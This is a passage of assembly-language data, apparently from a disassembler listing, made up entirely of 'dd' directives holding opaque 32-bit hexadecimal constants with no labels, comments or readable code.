		dd 18C5E295h, 0DB02E0F1h, 520893BEh, 0F0185C60h, 8A00E69Bh
		dd 0EDF2A607h, 16AA5818h, 0F49D22h, 0EB442FD1h,	450030BDh
		dd 4D192791h, 39D280Dh,	2D34C47Dh, 25C8AA6Ch, 1600F29Bh
		dd 0DEF06109h, 0A85949D7h, 186CD098h, 10F7C5DFh, 8C07BA88h
		dd 1931376h, 3A0F77A0h,	1D5F187Ah, 3156909Fh, 0D012E2F2h
		dd 28E0D23Bh, 0E68C1503h, 0DA0490CBh, 30965Fh, 0A19B7FBh
		dd 0F61B0034h, 0ED90657Eh, 1F295075h, 70C22039h, 612330A9h
		dd 68092215h, 6D7C008Ch, 9D0421CFh, 971BE435h, 40754005h
		dd 0CF6746A8h, 0D0508DA0h, 0F31E7B6h, 0E5F6E030h, 0E80079E1h
		dd 8B06E3DCh, 0F82C06A9h, 0C6550520h, 20D93501h, 0CA2430C4h
		dd 75063F13h, 5D123406h, 21666008h, 23CA1C53h, 10303D06h
		dd 304894C4h, 182160D6h, 972C5233h, 0F53B09DDh,	21002CFCh
		dd 0C3267D0Eh
		dd 4C8CC20Bh, 1E8014D7h, 6992E339h, 9893714Bh, 8B24B02Fh
		dd 547497h, 0E51318E1h,	0B7B97F94h, 3DA43113h, 0DB1D8041h
		dd 0C3D09B35h, 90E80168h, 45B20D20h, 0F3B980ECh, 0E7630744h
		dd 0E2260001h, 2D28EB3Eh, 4307495h, 123CF979h, 0E881C203h
		dd 8C8466ABh, 0CA1A6017h, 8509236Dh, 55005911h,	707DCA32h
		dd 433E8341h, 65D60A42h, 63D9058h, 0BA51C91h, 0DBFF00B9h
		dd 0FCF83DE0h, 0DE4B67FDh, 13A3CC3h, 0E018A421h, 0E806A815h
		dd 1A495D56h, 799013B8h, 10C49C14h, 0CC51103Bh,	5A88E40Eh
		dd 2F1E57C0h, 94C609E1h, 382089FEh, 3EA05575h, 5AFD3900h
		dd 0E58D514Eh, 2EEA0213h, 0D8442B9Bh, 9F000844h, 4A2028CEh
		dd 0B019327Eh, 641500E4h, 56E241B4h, 22035C09h,	7F2E80Dh
		dd 24B00027h, 0C9929E30h, 0FD009589h, 0B5E1994Ch, 93256122h
		dd 0CF52017Ch, 18450418h, 7C278872h, 7A19CF01h,	52958A81h
		dd 0EA6BBC4h, 892F99DCh, 0AA871A40h, 8CA861A2h,	33B05072h
		dd 9D276E05h, 0A89004E6h, 0E32608Dh, 1C71B5Ah, 2479DFE9h
		dd 15F7F20Eh, 0C03688B4h, 96CCA17h, 6522ED46h, 0CA0F5200h
		dd 0CCE8F3BAh, 11578E1h, 3092FEEAh, 349189B8h, 9F13384Ch
		dd 102108D0h, 0F44080B7h, 1473410Fh, 1C1715F7h,	2E31DD09h
		dd 483F74C0h, 0B8C5A7F8h, 4C40D84Ah, 950CA1Bh, 0E449480Dh
		dd 0CA334EB0h, 8CE9226h, 524848C6h, 18027039h, 150953CAh
		dd 101E2491h, 0CA104Fh,	638F68Dh, 21EE5EFFh, 715DB500h
		dd 0D9E8FBDDh, 37BF1269h, 96DC3026h, 2072144h, 0C3F6BDD8h
		dd 7A6CA320h, 76DC00CCh, 2BD32D38h, 609B6E7h, 85658BF2h
		dd 4C8C9DC8h, 6478A5C6h, 1FF16765h, 0DCF1DD74h,	4507AC66h
		dd 8155FEBBh, 24900BA1h, 0AE00D240h, 0C79CAA4Bh, 0D41E4Eh
		dd 0DB4172E6h, 3F0D7B96h, 0F615F81Dh, 0BF05ACACh, 9881FA11h
		dd 1820148Fh, 78E49922h, 865F81h, 154BC7ABh, 9402D2E9h
		dd 19DFBE09h, 4CB4A492h, 0D4993040h, 6F01B22Ah,	37A525B0h
		dd 1DEC2ED0h, 9398DD24h, 68FC0163h, 839021B7h, 620F2540h
		dd 10B02C81h, 1463934h,	422CF6Ch, 0B34F5h, 0D7CF5645h
		dd 3169E63h, 8F7BC97Ah,	2DE85A89h, 5E0562C4h, 856AF629h
		dd 0A20AADC1h, 0BB4C4h,	0BF7950AEh, 0B17A1E49h,	143980E5h
		dd 17E1A565h, 218D001Bh, 0CFBBC491h, 761E0942h,	61CF4159h
		dd 4298337h, 0F27AA869h, 0B85500B6h, 0A123060h,	7407C28Ah
		dd 0A75A1389h, 97402D17h, 0E2698Fh, 0EDECF63Dh,	0EE048B58h
		dd 215F08CCh, 3D0900C9h, 0C724DBA0h, 3401BB99h,	8B8A8962h
		dd 0B4DC9867h, 7B8533FBh, 0E1E94580h, 97B9842Ch, 0D383AAEFh
		dd 780E8905h, 8986DC9h,	0A2C821F3h, 800B8C39h, 7E806012h
		dd 0BB250Ah, 650EAE48h,	56FD2FF2h, 5DE5F501h, 7C400672h
		dd 0D200DEBEh, 750BBE79h, 0D301EA44h, 0BD0E5BFEh, 0E5F4D00Dh
		dd 0B514024Ch, 0B7918089h, 8EE2848Eh, 0C89051B9h, 0EE01F777h
		dd 8DCB0FE1h, 998162Eh,	0FED7214Ah, 0FD36EE0Ch,	0F8FBAC24h
		dd 0E93A6F01h, 8CA68071h, 43A506A3h, 0B6220Dh, 118C9ECCh
		dd 48678E39h, 99F6EF3Ch, 2F98A591h, 622900D3h, 0D7C6D44Dh
		dd 2D03B1DDh, 0F6CFA83Bh, 499690CBh, 9930C2F3h,	0F6C03490h
		dd 2E5091FEh, 3A0089D4h, 0B2A24C9Eh, 312DEAD0h,	1E08B8DBh
		dd 1B208194h, 0B2BA4CA7h, 36D6D841h, 0A1300A12h, 69E108Ch
		dd 0B9CFE06Dh, 0CD70008Ch, 4A7E2F0Ah, 0D50EEF36h, 0F0B6F023h
		dd 0EA11127Fh, 0C8080066h, 0BBC97ECCh, 0B8AFB8C0h, 11E10D34h
		dd 154BF6BFh, 0EDC09C5h, 74E5C239h, 1B823D4h, 0FF6EE32h
		dd 885F1863h, 0EE00F9BAh, 0D7BECEFCh, 165781h, 0C06CEC2Dh
		dd 9A975942h, 63222F12h, 0C0A68048h, 0ECF93DE3h, 0C4830543h
		dd 6E993D0Ah, 598621B5h, 0F730DAA4h, 0EC55113Dh, 806388E5h
		dd 513DDEC8h, 0C0001F75h, 15A2D0F8h, 912E1B9Ah,	0DB600A8h
		dd 5786D493h, 0FFB6303h, 210580Ah, 43B2A9B8h, 0DC80D7D1h
		dd 5BAEEF2Eh, 0D0AC1450h, 39220D00h, 0D1A6D3B9h, 654B0053h
		dd 8D8B1702h, 4D0ECEA7h, 0EA2BC4B2h, 9002CC6Ch,	875F303Fh
		dd 81DF83D8h, 0A13BF48h, 5D88704Fh, 7EECA4C0h, 981C62DDh
		dd 0A4900E48h, 0F8AA4C8Ch, 2DED22C0h, 60AF201h,	6E2C9F64h
		dd 7CEC0E4h, 79B34302h,	0CB88E07Fh, 0D05032E4h,	28401884h
		dd 0E7AE12ECh, 0BBE8221Bh, 11EE5530h, 88FB0FF3h, 0FCBD8063h
		dd 4FFE6EEEh, 83A938C0h, 144E26E1h, 0C435680Dh,	94D3B204h
		dd 9FAC98FFh, 0A3A34C3Eh, 213718B8h, 4C4CA41Ah,	591400D1h
		dd 77315CFAh, 2CC112AAh, 2B9C4086h, 98738518h, 2DEEEB01h
		dd 65D1A9D6h, 0FD77F02Fh, 0F08D1A01h, 0D3BB4457h, 37F1EC22h
		dd 0E8A0C97h, 0D0856991h, 0C8D40E20h, 4E055772h, 8FABC04Fh
		dd 94E2F837h, 993090F9h, 5230904Ch, 241030E8h, 80F03194h
		dd 60606735h, 0D21700D1h, 79AEF7D6h, 30266958h,	0FC44486Ah
		dd 858C1C64h, 4CEBA0B2h, 0D21352Ch, 744C8D00h, 0B39F42F5h
		dd 20DD4828h, 0F357AE08h, 0A0C32E0Ah, 31CD2783h, 21C0AF64h
		dd 44C7FA1h, 5CB108FDh,	0F4188005h, 0E663899Eh,	820A0E38h
		dd 46F8441Eh, 3DF902A0h, 47D5EC33h, 0E0B20764h,	0C5CFB03Dh
		dd 0CC0C2F1Ch, 58F01196h, 282E4883h, 99896073h,	8782226Ch
		dd 0CF21F800h, 9A738AFCh, 0F50B2467h, 79A4AB78h, 15F060BBh
		dd 6FAADF13h, 1405A837h, 5F23682Bh, 81CDA80Bh, 3B7A5274h
		dd 0A0118C43h, 2455573Eh, 81904954h, 0A012D30Bh, 0A7D0CC19h
		dd 85059C02h, 60113E82h, 11D51BD0h, 0B8B21E25h,	9ED9391Ch
		dd 98491F76h, 695C2E7Eh, 1411A89Dh, 2E54C280h, 0A117176Fh
		dd 74603220h, 5077C6CCh, 1278DCE9h, 4049937Fh, 4252AD3Ch
		dd 4007005h, 9BEDD236h,	0CDD3DDAh, 2FF7C0A1h, 2B18B329h
		dd 30A065A9h, 5A992EAEh, 15467470h, 7B545100h, 0AA910857h
		dd 28B4F900h, 0EC885346h, 0ACA200F8h, 6FFB2FF1h, 5C92943Ah
		dd 0CB12A406h, 0FE808F91h, 0B17E12BEh, 52704E8Ah, 30291FADh
		dd 0D440C9E8h, 54F61229h, 8C803413h, 1F0022BCh,	0D18DB341h
		dd 1CDA21B6h, 80E82025h, 0EAF13E6Eh, 4A267215h,	8403843Ah
		dd 1EBE2BC7h, 5444BC70h, 0A0807CDFh, 1506998Ch,	0CAF2448Ch
		dd 78CB801h, 3C619571h,	0E29A5CCCh, 0C6F50CAFh,	1458E5EBh
		dd 0F0A466E3h, 5260D7h,	0A8E696C5h, 26983A7Dh, 7EF6F0C1h
		dd 9450BD75h, 0CB29539Ah, 18043419h, 0EE31609Fh, 5B0F21F7h
		dd 0EEF8D1C0h, 0ADC0079h, 0C7041CECh, 0B404CE37h, 0D59EF3D9h
		dd 28B63090h, 45A30C3Ch, 1A95EA9h, 0F6431100h, 0B467C706h
		dd 6D0B0066h, 38C99608h, 5F049D42h, 3D8C1413h, 7ECB4D0h
		dd 0E0E60720h, 0C04E9E68h, 0C5BCFB4Bh, 360095E2h, 211C970Eh
		dd 49E39D1h, 35E3B456h,	0B2BCA366h, 62430F2h, 9388B8C0h
		dd 129A0B05h, 199F84ECh, 6651D8A7h, 2B18718Ch, 27702DCDh
		dd 0FEA30125h, 17489D93h, 4059A88Ch, 2D0E4AA0h,	0CA0153E4h
		dd 9A1435CFh, 0C4422A5Bh, 17FC4C85h, 6560930Fh,	818485ACh
		dd 6214538Ch, 0ED2B10F8h, 41CFA288h, 130FF8EEh,	0D0886518h
		dd 84EE00F7h, 0E7186ADAh, 81182D87h, 0C8219053h, 0B68D000Ah
		dd 0C6F4666Ch, 68C086CBh, 5F09CFA5h, 89242C72h,	87FD1198h
		dd 0B2214CA5h, 30BEB88h, 3E4C8A1Ch, 0D4DB095h, 23CC34F8h
		dd 0C4ECCB48h, 9B309421h, 950B82D3h, 99EFAEF3h,	0F618B47Ch
		dd 0FE2EE0Fh, 4BC8B003h
		dd 0EEFDD680h, 0A8BC3574h, 0E68007D4h, 149F1FF5h, 1CAE3Eh
		dd 153CA5DBh, 0FA1CE330h, 8D9A52CFh, 44B4C730h,	0A3386065h
		dd 12DC003Bh, 40F6C5E7h, 58280A15h, 0F038EC2Bh,	6B6C12AEh
		dd 2A13D444h, 3FCFF900h, 0B091F7Dh, 2770A5E4h, 472002A8h
		dd 51CC52h, 56A6B050h, 0A08984D0h, 18072D2Eh, 7F01BE91h
		dd 1FA7E2B0h, 5310DCAAh, 17301317h, 0FDE6D100h,	14CBE041h
		dd 0CC2FEEDDh, 38C23E8h, 0A3DE1840h, 72D9C6CDh,	0CFC834E6h
		dd 8D3ADA00h, 0FECB4271h, 5CB02A7Ah, 0C22F308Ch, 40D23DA1h
		dd 85271C00h, 44709808h, 408D583Eh, 0F93D5922h,	0B49F4CDh
		dd 8C9C80ECh, 43B506A5h, 90B9220Dh, 0FF8C004Eh,	0F0A1820h
		dd 0E0C88D8Bh, 4CA2C0FAh, 0B046B2A6h, 0EF002022h, 32034C8Bh
		dd 0B109C328h, 6BB40020h, 0AA22DF90h, 491258B0h, 4C049340h
		dd 9E221DBBh, 8EE5430h,	8D330FF4h, 27FBBC58h, 801007EEh
		dd 5F00C2D4h, 9DF2F990h, 3FDC4A4h, 3C3A669Ch, 0B8DAA15Dh
		dd 0FC5088ECh, 491322B8h, 98D0528Dh, 3FF20AF8h,	0B40014A3h
		dd 976D3F98h, 81DF1527h, 59F59103h, 8C11010Eh, 88D54A2Fh
		dd 9FFAE471h, 547CF726h, 486CA7C2h, 1FA8AF44h, 87F0691Fh
		dd 7A8CDD76h, 103A809Ch, 0FB807501h, 0C09F5809h, 49B00002h
		dd 71BFE3h, 28E529F6h, 3DA256D1h, 41B6E402h, 40FF5908h
		dd 54FB4944h, 0F068488h, 0F271FC58h, 7617D080h,	793C0FC3h
		dd 0EDB6897Fh, 8D7824BFh, 6CDE6740h, 9898C9FDh,	30B9AF20h
		dd 0A0218B2Fh, 6A71F9DDh, 0FDAC4700h, 0D04B26D8h, 0A8A7562Ah
		dd 1017C82Dh, 0C09D6591h, 3024492Eh, 0E42E773Eh, 0DE67B873h
		dd 1CF1BC60h, 0FAD50057h, 790390AFh, 29007DE8h,	0A1437404h
		dd 1FBD1A9h, 0AEFC787Bh, 38CCF750h, 0BD450060h,	94D3CA2Ch
		dd 36493F8h, 0B2A84C98h, 116EB82h, 0A74CA1F1h, 29A61BF0h
		dd 85D32EB0h, 9AC00E1Fh, 210844DAh, 0EF4A008Eh,	98DDAF96h
		dd 909C1716h, 0E004C068h, 0F7BADFh, 66ACC45Ch, 7B3E008Ch
		dd 3BCC3365h, 34F8F886h, 0FD43B40Ah, 603C05Eh, 674DB08h
		dd 3E13C578h, 2CC21871h, 7BF1AD5Ah, 88FC19B0h, 8E4188Dh
		dd 0DDEC543Dh, 0CB405CC4h, 1B473D0Bh, 1085B91Dh, 0DE09E424h
		dd 0CA7C488Ch, 0DC160399h, 72A6B4FCh, 9E443901h, 48847D0Ch
		dd 72C75D4h, 0A443AA1Dh, 0F3C022E2h, 0D498CC90h, 0E9625D12h
		dd 4148B820h, 0A949C778h, 0D4203951h, 9155F567h, 28025803h
		dd 0E60C49E4h, 94FEA129h, 0A0692870h, 428B724h,	2DAF3441h
		dd 0F1D4E2A1h, 0BF0C9422h, 12C1975Ch, 0F03258A6h, 96687193h
		dd 0C8B08E7Fh, 0F2ECC022h, 0D8761659h, 7B421214h, 4B2384ECh
		dd 0B2498545h, 0B4E10070h, 7BAF8B92h, 289423h, 11C52726h
		dd 94B491C9h, 0F3A1FD80h, 1C6A63EDh, 40B13655h,	417D455Eh
		dd 4827DF7Ch, 504C20FAh, 26A5E5h, 78DA9C58h, 270D1EBh
		dd 486EC64Eh, 5410CB25h, 200950Fh, 2F20626Dh, 0FD4172Ah
		dd 8B7D6378h, 0C756F022h, 5B823879h, 8068FE12h,	66657584h
		dd 0F0CE29D4h, 984881B8h, 38265A1Eh, 8CBABC04h,	7C3F6F26h
		dd 28A00B15h, 4D00102Eh, 0B4EDAF47h, 1C0A49FDh,	0DCC7D30Bh
		dd 3EC5C0BDh, 3DCD5CFEh, 0D6238BCh, 0E4B0E5B2h,	0FFBF605Fh
		dd 12C600A7h, 0FEFA57ACh, 0B50095DBh, 4C17417h,	129E5B2Eh
		dd 0B61F524h, 4C6E5C6Ch, 0F802A146h, 0BDEC303Dh, 6F116131h
		dd 0BF2082E0h, 0B28825BCh, 44C467A8h, 88E76065h, 693201D7h
		dd 7EF64262h, 2D42CF9h,	18743C39h, 0D45863C2h, 20E288A2h
		dd 1F8B8330h, 71AEC344h, 0DD39D039h, 7F4878F8h,	0A6301090h
		dd 161EE12Fh, 4B2D029Eh, 0E5CFBC8h, 88B1BCF0h, 1B18BA79h
		dd 0C4CF5800h, 0D643FE52h, 6DF3123Bh, 4B8C1DB3h, 6C828169h
		dd 4273AAh, 354298C7h, 0ECBE1897h, 0B70B0EFCh, 8017183Dh
		dd 2652194Ch, 0E61C06C6h, 606F3AF0h, 0B586DB3Ch, 811A30h
		dd 0DA01DDD0h, 8179D41Ah, 0F3FF0D05h, 0E0C4155Eh, 1FF240A2h
		dd 178C0430h, 0C0439A5Bh, 0E7B44AD8h, 0B313631Eh, 36D96D80h
		dd 95B93C91h, 76E13C00h, 8C331E67h, 0F04C6945h,	0B3F42h
		dd 43EE0C5Fh, 9A154A8h,	62554972h, 234181D4h, 0A6C64A86h
		dd 0A4009472h, 0F4334E39h, 0DE015010h, 3C9CE3AAh, 0A981C87Ah
		dd 5C3A785Ah, 0F080212Ch, 94986D99h, 74C70B2Ch,	0E89F003Ch
		dd 0D5125C1h, 0C833668Ch, 0BE09617Ah, 9158596h,	0F60C8150h
		dd 0E4409D8Ah, 87F1C70Ah, 18941E62h, 2B09C61Fh,	0A236DA49h
		dd 4A751BDCh, 0C0386D0Ch, 0E398D5B5h, 2BB2DD05h, 0F4887855h
		dd 0FB10846Fh, 4204698Dh, 8141A0E0h, 0F0BDB308h, 494A96F0h
		dd 1B9AE490h, 89760C7Fh, 5D69FE3Ch, 0BDC3DA05h,	0AC5F9681h
		dd 4CFF4F01h, 0C5E1B63Dh, 8759893h, 54848EACh, 60C88D04h
		dd 740C980Eh, 0A51E804Ah, 0DFFC9700h, 7B8ABCA8h, 17189A13h
		dd 0CB16AF78h, 0C06288A0h, 0F67D01DDh, 51092E01h, 0FC362415h
		dd 90079AD0h, 4C1D9550h, 32806111h, 0FACF200Ch,	0EFC6CC17h
		dd 95B63CC0h, 0AD468F4h, 6BB00EA0h, 61420830h, 2411C80h
		dd 1CE1E8F5h, 8F4061h, 309C3A04h, 273E8C35h, 7000AC47h
		dd 4018C67Ah, 0F3F999C9h, 80F0409Eh, 306498ABh,	52F68074h
		dd 0E8DC9100h, 0F5C01FC4h, 0F8149233h, 98B4A848h, 8B2000DEh
		dd 962D6CB8h, 0F40F76BAh, 63A00F90h, 58F2F997h,	5101B0C0h
		dd 8C21918Dh, 49F4510Ah, 27703910h, 0C38C20A6h,	621FB2h
		dd 5D78E256h, 72FC3DFBh, 4B48AA3Bh, 0A4D61047h,	87A74087h
		dd 54443DF2h, 0BA465CFCh, 98FE7E04h, 0ECA0F454h, 50180D00h
		dd 99F61AE2h, 5C0CBCB4h, 0D90E6546h, 7301F137h,	728CCF0Ch
		dd 0C3B60078h, 565E1765h, 0D0873C4Eh, 0E1118200h, 4A5214DFh
		dd 4E86FB22h, 0FA5420C0h, 40120BB7h, 0B0005ED4h, 0AE85EA5Ah
		dd 8E5D2896h, 5B9700B0h, 248D0A5Ch, 45248349h, 12BD848Ah
		dd 480148C0h, 68DAB6F0h, 17830C4h, 0FDE1A47Ch, 0B85B6A51h
		dd 61BE8220h, 9C819EFFh, 6BD12320h, 40CBB216h, 29C26288h
		dd 0F16D4067h, 0AAFE0026h, 0A92F6912h, 0B00417CFh, 9673E92h
		dd 44519CA2h, 36384183h, 2ED8BD0Dh, 90A8488Ch, 0A600A8FCh
		dd 0D32C49EBh, 0B4AC122h, 815680CEh, 0B711C09Dh, 0CA470096h
		dd 4923CD0Ch, 0D42EE54Bh, 25001F23h, 9B23B4D6h,	7D1700D1h
		dd 0CEB70BC6h, 4BF99AF6h, 0C065C89Ch, 498B2310h, 301315FCh
		dd 0C008C4A9h, 0E024022Eh, 0FB0167C6h, 0A0488A35h, 0D6B0BE13h
		dd 21D7802h, 0C0859849h, 0B68B6920h, 800C91CCh,	6A48CA3h
		dd 8A0D4B9Dh, 0BBCD00B0h, 1F606F8Ch, 0C51C00D8h, 2536B144h
		dd 78403B08h, 410F4A49h, 5EE006F4h, 42188164h, 0B2A7FDA6h
		dd 0F4766C71h, 7ED6C2E0h, 188A12Fh, 264842A0h, 0C0B45006h
		dd 261465Eh, 12904295h,	54304AC5h, 21465E40h, 0EC4B2A07h
		dd 35101048h, 0C602D99Dh, 3B43BFFBh, 790C518Eh,	3B18F3h
		dd 906AAC25h, 0B0522E40h, 0F45D2375h, 2A330B20h, 0C0C20E5h
		dd 2AE73049h, 0E9877A5h, 85CFC05Bh, 81B4B720h, 8D982C8Ch
		dd 64099C25h, 0F22800FCh, 1B0E2F68h, 31176460h,	289AE3F9h
		dd 0B023FDC0h, 0B10199FFh, 0AF84FCE6h, 103A8CEFh, 5058AC08h
		dd 2C8C1FE8h, 0AC47DDEh, 0ADF421CFh, 6011F81Dh,	35D5EB81h
		dd 8B3C60FFh, 9842C088h, 0D4A10B44h, 0D0816768h, 15F27202h
		dd 2806CDAh, 0BE7213DAh, 0DC49E58h, 898EAF7Ah, 48C60B31h
		dd 95E8A58h, 4A0B9A13h
		dd 6904C880h, 39031B90h, 440A79D2h, 7A180136h, 29A68699h
		dd 91888C32h, 0DF7915Bh, 8463E217h, 0BCB43868h,	703E8C61h
		dd 0FA3505F2h, 5401B07Ah, 10AB9A0Eh, 43C4A200h,	605D1D25h
		dd 5F970434h, 27440B35h, 9480860h, 459BB60h, 71C7468h
		dd 7215FE0Fh, 0F6486CDAh, 1FC99618h, 25AC1638h,	40C75B84h
		dd 0DD605F64h, 0AE00C6CAh, 0DF76EF0Dh, 1A4A26A3h, 288B78FAh
		dd 0B9441467h, 66C61F60h, 0AA2EDB0Fh, 1D36B47h,	0EE3F4BD4h
		dd 0C7C14803h, 0E2C43359h, 0B4A13061h, 0D9193312h, 1F0864C8h
		dd 8F9DE191h, 8D84901Eh, 0B7C0E007h, 71E2A530h,	50DD9EECh
		dd 1450A085h, 0FC82790Dh, 0E8618434h, 8C66BC1Ch, 471A4E01h
		dd 0F01443E9h, 40FC053Eh, 5BCCC835h, 0C8017C02h, 420C9273h
		dd 62904774h, 0D81B9735h, 7927D86h, 36E851C5h, 14CB2047h
		dd 111370ACh, 941241BFh, 56459022h, 0B8465CE8h,	7B6ABF02h
		dd 3C4613D6h, 792D040Ch, 1B02891h, 0AE299850h, 2DE52642h
		dd 7BAC98h, 61D19068h, 7A8A3B40h, 8EF9AE0Bh, 91401D89h
		dd 9101805Fh, 9F1AD67h,	4BC6520Fh, 0A013B8D8h, 0CF31E8Dh
		dd 66304BB2h, 0E600538h, 0C03F07B2h, 4A291E30h,	2DB84600h
		dd 0B515CFB9h, 2EE34EF4h, 212344h, 82AF1BABh, 4CB069F4h
		dd 0ED5D54EAh, 25480954h, 91342460h, 0D87CA4h, 6DAAF906h
		dd 0C9237DE7h, 8099653Eh, 0CDF6A4C0h, 5A521564h, 0AA38007Ah
		dd 400696A9h, 0C87DA826h, 0CE4501Dh, 0B64674h, 0E68895E9h
		dd 5A4D23B7h, 23A02FECh, 36A50763h, 76B0802Ah, 4502EDA2h
		dd 8079DC14h, 0E3584D1Eh, 3AC860E7h, 7148756Bh,	8C5DFCE4h
		dd 7EF26B09h, 14B0A1F1h, 0AC32154Ch, 0E13078F2h, 66543080h
		dd 9AF92C9h, 0D4D9D5F7h, 0A3004EE4h, 0AD47DAE1h, 255707CBh
		dd 40CD88A6h, 423BD8C0h, 571E23Ah, 6D8228E3h, 81E0DBB4h
		dd 0D5ADD2C6h, 79C451EEh, 6901860h, 53758C8Bh, 0FD00194Dh
		dd 28FBB11Ah, 380177h, 0AE716BA2h, 42E94073h, 79A61415h
		dd 3B59009Ch, 9E491266h, 0AF8000DBh, 1FCA7AFEh,	0FF1D9306h
		dd 23816347h, 0EB60B2BEh, 50F7D466h, 51493C6Eh,	4C97821h
		dd 0FC6C0A96h, 10B04CD0h, 7805F301h, 0C833939Ah, 0D601B52Ch
		dd 3A7926AAh, 41074C6Ch, 6421E99Fh, 0A0181C8h, 59328FF7h
		dd 682DB55Bh, 0D40006ACh, 2238F05Dh, 1DEB4FC3h,	417D9849h
		dd 0A85823EDh, 0B716005Eh, 0F3AE25BFh, 43C58860h, 1C80055Ah
		dd 5E633FC0h, 23102EB4h, 8AB7005Eh, 0BAD9E2E7h,	95872304h
		dd 0CCCF8F90h, 22C14A88h, 9AD12478h, 0CAEC8AF4h, 298E892h
		dd 0E54ED7B1h, 22E284C5h, 26D01894h, 9733341Dh,	543A1C17h
		dd 7403F223h, 0C7436A86h, 9B026167h, 0C95CC370h, 14688ED5h
		dd 0F4A2103h, 381D8A67h, 0B82E7196h, 0D6AF09F6h, 107A355Ch
		dd 91A3F400h, 37794417h, 5FB503E2h, 7C274603h, 0AE4C1BCh
		dd 0CCA70026h, 2F8E5F57h, 622320h, 0F30D450Eh, 5B3AF6FDh
		dd 4A1C85B7h, 7CD1D311h, 422BAEC0h, 0EDFA330Ch,	290420D6h
		dd 8CE62F5h, 77C34A88h,	0F0888CA7h, 85D200F6h, 0DD98FA5Dh
		dd 0F40039D1h, 4FFB69B6h, 4AE0E5BDh, 0F9248456h, 3D41171Ch
		dd 69310C48h, 6311E097h, 94055B80h, 0CC098873h,	1CAA616h
		dd 632AB4E0h, 66E8F828h, 6C48008Ch, 0DC0517E8h,	0A70C51C0h
		dd 0C0776440h, 0D18CB1F5h, 2651860h, 0C6598568h, 0C0A9C943h
		dd 6034DC82h, 443D2501h, 19C6B2Ah, 96F46C2Fh, 0B70004ADh
		dd 0B4164B24h, 34E465CBh, 8CFD30C0h, 21114958h,	0E0442094h
		dd 988CA760h, 0E5FD0627h, 9FC980D8h, 709D958Ch,	1EFB6201h
		dd 862FD634h, 478212Fh,	54C5004Bh, 0C4EE1327h, 87EC9B1Ch
		dd 61101BDBh, 1B226CBh,	9B23D0FAh, 78D61172h, 0E21404ECh
		dd 0D0F26229h, 9733B8F2h, 1340D350h, 465F752h, 942431EDh
		dd 0DB491FE2h, 240ACE93h, 0F12B0EC1h, 61DC475Ch, 18E5440h
		dd 0AC518F8Ah, 2410C2FAh, 0E89E3858h, 0A6115905h, 1C90D8B8h
		dd 0B465D42Dh, 18941FC2h, 9758B4C2h, 2370D450h,	3DF5038Ch
		dd 38A4EC57h, 3DFD016Eh, 0C1B6198h, 1EE7CC8Eh, 0EEFA5000h
		dd 81F91019h, 0BDF813FEh, 0F250E24Bh, 0C56F3062h, 0D441007h
		dd 0BAC76054h, 0AAE041C0h, 3C2FFE3Dh, 30E0A853h, 6F0823B6h
		dd 0D0D3624Bh, 9DB9C8A7h, 14440924h, 3870CA13h,	0C188C431h
		dd 6B6ED489h, 0D2CF02ACh, 0F5B3E846h, 2F274DC0h, 4A9A143Ch
		dd 0BF47A405h, 0C76B80FBh, 40C0EDFBh, 0C4CF3F91h, 0CFF4887h
		dd 86DA16C0h, 4C162EDCh, 7014813Eh, 7040797Ch, 0B493AE1h
		dd 96ECB160h, 0CC90898Dh, 0F03B984Fh, 3A2023h, 4A299B93h
		dd 14429A30h, 0A83B8708h, 4EFB1276h, 0C8308B2Eh, 0CA17C01Eh
		dd 5C92BF2Fh, 47EA8400h, 0A123460Ch, 5667007Eh,	0E96C7F8h
		dd 42008D66h, 0FFA6900Ah, 804B52BBh, 3D009F5Ah,	0E01A963Bh
		dd 0B6B766h, 3CD90AF2h,	184A33DEh, 0C6E8BA73h, 0C9A15413h
		dd 6123A03Ah, 695D7103h, 1D55900Ah, 0B42B2414h,	67D30820h
		dd 0F8205317h, 0E2109C68h, 5F4E04ACh, 0B844B7CDh, 18F3854h
		dd 42994E4h, 8AF8DB51h,	4BC577A0h, 0C0B89B60h, 71881F49h
		dd 9B20026Eh, 0BD77C6D3h, 70A21205h, 23842F4Eh,	0CEB80060h
		dd 480676B3h, 4AB47803h, 0C20B58D3h, 72C089F8h,	714620CCh
		dd 9AAF9009h, 0D0745B63h, 0DE09F9E0h, 6B5327BEh, 9811D370h
		dd 0A3ACB76Fh, 0DF75E89Ch, 63830701h, 2015D831h, 0C2D552A9h
		dd 402B2F81h, 67043250h, 6B044C1Fh, 92521630h, 0F439B4D3h
		dd 0ACB07A07h, 72161431h, 18B024F2h, 0F13D2D9Eh, 7ED68438h
		dd 18C08D74h, 0AF79D494h, 0F62C9EF2h, 81C5BE39h, 51FB6F0Eh
		dd 0D8449C86h, 0CE86E887h, 0DCA896C9h, 2FCC9800h, 924F21C3h
		dd 9AC4A834h, 633D0326h, 3EE7F6FCh, 0DC4215D0h,	8C7002B7h
		dd 0C5C8A5E6h, 0C0D03882h, 4DAE4874h, 525AA056h, 0F28CB26Ch
		dd 62A43024h, 0CDEC9705h, 40C1104Eh, 0DB0067B4h, 0E3057319h
		dd 0CCA663B1h, 1432A8A0h, 0E04E83B0h, 0F85A6965h, 8C61BCECh
		dd 0FA0905FAh, 2015B6F0h, 6799C6B8h, 1808905Ch,	19317F2Eh
		dd 8A60EC16h, 0C6129080h, 20B09825h, 289E4838h,	8B34E944h
		dd 0CF4A8828h, 9720D256h, 0A8261853h, 65465Ch, 0CA948E7Ch
		dd 7951274Fh, 0F8909DE1h, 0EF00F498h, 87C031B9h, 629F94h
		dd 0B450FFCh, 0E3B368FEh, 5F352Fh, 0E409F91Ch, 4030B823h
		dd 0B05E5360h, 581FC413h, 64804D53h, 80B9E97Eh,	17978E47h
		dd 807891BCh, 43C69411h, 8085F92Dh, 0A8FA14A9h,	444580E4h
		dd 1A2EB81h, 0C7B1CE33h, 0F48E94AFh, 6730AEF5h,	0AAB6808Bh
		dd 43C50C1Bh, 0DA488941h, 0E00F89Eh, 54BB42Ah, 40834EB2h
		dd 7D504834h, 0C32D3DC6h, 9B9468F6h, 0B3ECA12Eh, 9EC9047Ch
		dd 0CF1CC458h, 0A5791C40h, 25E4E1F4h, 440C40E2h, 98828290h
		dd 3C00D5ADh, 0E9A4FAA9h, 40E92430h, 522D9422h,	8A48E086h
		dd 81357780h, 7A5AF10Eh, 80409810h, 0EF61A916h,	148C5810h
		dd 92BD9510h, 64C8988Ah, 7834B7C0h, 5EB617EDh, 2B2C024Fh
		dd 988373A9h, 0C014849Fh, 82C45FA1h, 2C891749h,	7D402CE8h
		dd 44ED2F4Eh, 7F9DDC35h, 0E1178589h, 8E15142Ch,	942484A8h
		dd 0D5795030h, 75F52200h, 633FBFB9h, 76412D67h,	9DA1048h
